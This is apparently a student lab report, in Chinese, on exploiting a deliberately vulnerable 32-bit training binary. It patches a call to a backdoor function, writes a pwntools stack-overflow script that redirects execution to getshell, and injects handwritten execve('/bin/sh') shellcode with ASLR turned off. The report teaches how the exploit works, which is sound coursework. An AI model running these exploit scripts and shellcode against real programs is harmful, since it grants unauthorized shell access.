20253916 2025-2026-2 《网络攻防实践》实践9报告

实验一:对二进制文件直接作出修改,调用getShell函数

具体分析见实验二
我们只需要在主函数中将call foo函数直接更改为call getShell函数即可

image

在IDA中选中该call命令,在菜单栏选择Edit ->Patch Program -> Assemble

image

更改为call getShell

image

随后同样在菜单栏找到Edit ->Patch Program -> Apply patches to input file

image

建议勾选下方备份backup

image

重新再利用IDA打开pwn1文件,在main函数中,call命令已被修改

image

在虚拟机中运行该文件,运行前先给予权限,已经成功执行binsh

image

实验二:pwn分析

将下载好的文件拖入虚拟机中,我这里使用的是Ubuntu24.04 我的用户名为rain 已经安装了python虚拟环境
同时安装好了pwntools,以及checksec

image

本次实践的对象是一个名为pwn1的linux可执行文件。
使用soure 进入虚拟python环境

image

更改二进制可执行文件的访问权限 chmod a+x ./pwn1
使用checksec对该二进制文件进行检查

image

[*] '/home/rain/Desktop/test/pwn1'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

文件为32位程序基本保护都没开,将该文件拖到32位IDA中进行分析

image

f5进行反编译,主函数中只调用了foo()函数双击进行跟进

int __cdecl main(int argc, const char **argv, const char **envp)
{
  foo();
  return 0;
}

具体foo函数如下所示,使用了gets()函数但并未做长度检测,同时程序默认保护都没开,可以利用栈溢出。

int foo()
{
  char s[28]; // [esp+1Ch] [ebp-1Ch] BYREF

  gets(s);
  return puts(s);
}

s[28]在栈上空间长度为1C,所以覆盖空间为1C+ebp+ret
由于ebp与ret在32位情况下长度均为4字节(4*8=32位)
image
同时左侧getshell()函数留有后门操作,直接执行了/bin/sh 所以只需要劫持foo()函数的返回地址跳到getshell()函数即可,左侧getshell()函数地址为getshell_addr=0x804847d
image
foo函数的汇编如下:

.text:08048491 foo             proc near               ; CODE XREF: main+6↓p
.text:08048491
.text:08048491 s               = byte ptr -1Ch
.text:08048491
.text:08048491 ; __unwind {
.text:08048491                 push    ebp
.text:08048492                 mov     ebp, esp
.text:08048494                 sub     esp, 38h
.text:08048497                 lea     eax, [ebp+s]
.text:0804849A                 mov     [esp], eax      ; s
.text:0804849D                 call    _gets
.text:080484A2                 lea     eax, [ebp+s]
.text:080484A5                 mov     [esp], eax      ; s
.text:080484A8                 call    _puts
.text:080484AD                 leave
.text:080484AE                 retn
.text:080484AE ; } // starts at 8048491
.text:080484AE foo             endp

而对于整体攻击流程来讲则是使用
payload=b'a'*0x1c+p32(0)+p32(getshell_addr)
脚本与实验结果如下
image

from pwn import *
p=process('./pwn1')
context.log_level = 'debug'
elf = ELF('./pwn1')
getshell_addr=0x804847D
payload=b'A'*0x1C+p32(0)+p32(getshell_addr)
p.sendline(payload)
p.interactive()

具体原理如下

void getshell() {
    system("/bin/sh");
}

void foo() {
    char s[0x1c];
    gets(s);
}

int main() {
    foo();
    return 0;
}

当 main() 调用 foo() 时,程序会执行类似这样的指令:
call foo 不只是跳转到 foo() 函数,它还会先把“返回地址”压入栈中。
返回地址的作用是:
当 foo() 执行结束后,程序知道应该回到哪里继续执行。
foo() 函数中的栈结构

进入 foo() 函数后,栈上的结构大致如下:

低地址
+----------------+
| s[0x1c]        |  局部变量 s,占 0x1c 字节
+----------------+
| saved ebp      |  保存的 ebp,占 4 字节
+----------------+
| return address |  返回地址,占 4 字节
+----------------+
高地址

其中:
s[0x1c] 是局部变量缓冲区
saved ebp 是上一个函数的栈基址
return address 是 foo() 执行结束后要跳回去的位置
而对于payload而言:
b'a' * 0x1c -> 填满 s 缓冲区
p32(0) -> 覆盖 saved ebp,占位
p32(getshell_addr) -> 覆盖返回地址

  1. 整体攻击流程
    整个过程可以理解为:
main()
  |
  v
foo()
  |
  v
gets(s)
  |
  v
输入超长 payload
  |
  v
覆盖 saved ebp 和 return address
  |
  v
foo() 执行 ret
  |
  v
跳转到 getshell()

实验三:shellcode构造分析

首先关闭地址随机化echo 0 > /proc/sys/kernel/randomize_va_space,否则每次程序重新运行
使用gdb对该程序进行分析(装了pwndbg可能和别人不一样)

image

在main函数处打断点使用run命令执行

image

运行结果如下

image

使用ni命令执行到call foo 汇编语句

image

使用si进入该函数

image

使用n步过执行到call gets函数,在此我们可以看到读入的数据被存放在了0xffffcecc

image

随后执行call gets函数输入0x1c个a也就是28个a

image

数据被存放在了0xffffcecc

image

使用stack30可以看到栈的结果如下所示刚好0xffffcecc到ebp的距离为0x1c我们全部都能填满,此时ebp的地址为0xffffcee8,而foo函数的返回地址是0xffffcee8+0x4=0xffffceec,而我们要做的是把foo函数的返回地址覆盖为0xffffceec+0x4=0xffffcef0,在0xffffcef0处编写我们的shellcode进行执行

image

至此我们知道了该如何完成该套payload的编写,但我们直接使用的是gdb进行的调试,会导致栈地址不干净使得,你真正计算的栈地址和gdb拉起程序的栈地址不一致,因此我们需要使用gdb attach命令来对进程进行附加调试
因为我装了pwntools和pwndbg所以执行起来比较简单,直接在python脚本中使用gdb.debug('./pwn_20253917')就可以了
使用方法如下

from pwn import *
context(arch='i386',os='linux',log_level='debug')
p=gdb.debug('./pwn_20253917')
elf = ELF('./pwn_20253917')
p.interactive()

我们执行python shellcode.py后进行了gdb.debug附加调试,我们在main函数下断点以同样的方式进入到foo函数中执行call gets函数,当然你也可以直接使用b *0x804849a 来打断点,这里我直接对地址下断点,然后r重新执行程序就会卡在断点处

image

这时我们能看到程序在运行时真正的栈地址以及参数地址比如说我们输入字符串放在了0xffffce9c

image

借助于这个字符串以及之前的推理我们实际上能够知道我们要把返回地址放在哪里同时我们的payload该怎么去填充目前我们可以做到

ret_addr=0xffffce9c #字符串存放地址
ret_addr+=0x1c#字符串长度1c字节
ret_addr+=0x4#ebp4字节
ret_addr+=0x4#原ret所占4字节

所以最后ret_addr=0xffffcec0 也就是ebp+8的位置我们使用stack 30 查看栈,与我们计算一致

image

现在处理好了偏移问题接下来就是shellcode的问题了,目前有两种方案一种是手写,另一种是调用pwntools的shellcode = asm(shellcraft.sh())命令下面以手写为例,我把调用注释掉了

我们以同样的方式进行调试,运行到retn指令,此时返回地址已经被我们修改为了0xffffcec0,我们也在下方看到在执行我们的shellcode

image

我们退出本次调试更改脚本,取消断点
由于gdb.attach()和gdb.debug 也存在着初始栈不同的问题,因此这次使用gdb.debug来进行攻击

from pwn import *
context(arch='i386', os='linux',log_level = 'debug')
p=gdb.debug('./pwn_20253917')
#p=process('./pwn_20253917')
elf = ELF('./pwn_20253917')
assembly_code = """
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al, 0xb
    int 0x80
"""
shellcode = asm(assembly_code)
#shellcode = asm(shellcraft.sh())
ret_addr = 0xffffcec0
payload = b'A'*0x1c+b'BBBB'+p32(ret_addr)+shellcode
print(f"Payload length: {len(payload)} bytes")
print("Hex dump:", payload.hex())
p.sendline(payload)
p.interactive()

运行shellcode.py,在左侧使用c将程序启动

image

此时稍等即可在右侧输入指令,攻击成功

image

遇到的问题

一、即使关闭了地址随机化ASLR但因为gdb附加调试与,gdb直接拉起程序会导致出现不一样的栈帧地址,在过程中计算偏移量时,脚本始终打不通,调试方法也很简单,在攻击和调试的时候尽量使用同一方式来对程序进行调试。
采取直接拉起或是附加调试。
二、在之前尝试了直接把shellcode写在0x1c的栈上,也计算好了shellcode的长度,但最终还是攻击失败。
原因:由于retn指令的存在将esp拉到了较高的地址,此时程序跳转到buf的首地址,这个时候buf的地址要比esp要低。在执行push函数时,进行了压栈操作,导致最后的系统调用号被push eax覆盖,最终利用失败。
实际上还可利用栈迁移将esp重新迁移到较低的地址来完成栈布局

总结

本次实验围绕二进制程序漏洞分析与利用展开,涵盖可执行文件直接修改和栈溢出攻击两道题目。实验一采用IDA Pro汇编级补丁技术,通过Edit→Patch Program→Assemble将call foo替换为call getShell,直接修改机器码改变了程序的执行流程,成功调用/bin/sh。

实验二深入实践栈溢出攻击。用checksec检查发现pwn1是32位程序,未开启Stack Canary(栈溢出保护)、NX及PIE(地址随机化)等防护手段。分析源码发现foo()函数使用不安全的gets()读取输入且分配在栈上的char s[28]缓冲区无边界检查,是典型的栈溢出漏洞。通过IDA反汇编确认getshell()后门函数地址为0x804847d。在32位程序中,栈帧布局为缓冲区s占28字节叠加4字节ebp后即为返回地址,因此payload构造为b'A'*0x1C + p32(0) + p32(0x804847d)。该payload利用gets()溢出覆盖了foo()的返回地址,使函数返回时跳转到后门函数从而获取shell。

通过本次实验,我深刻理解了函数调用栈帧的内存布局(缓冲区、ebp、返回地址依次排列),认识到编译器对gets()等不安全标准库函数缺乏安全设计,而checksec工具可用于快速评估二进制文件的安全机制开启情况,为漏洞挖掘提供关键参考。

posted @ 2026-04-27 14:06  Maxn_Rain  阅读(57)  评论(0)    收藏  举报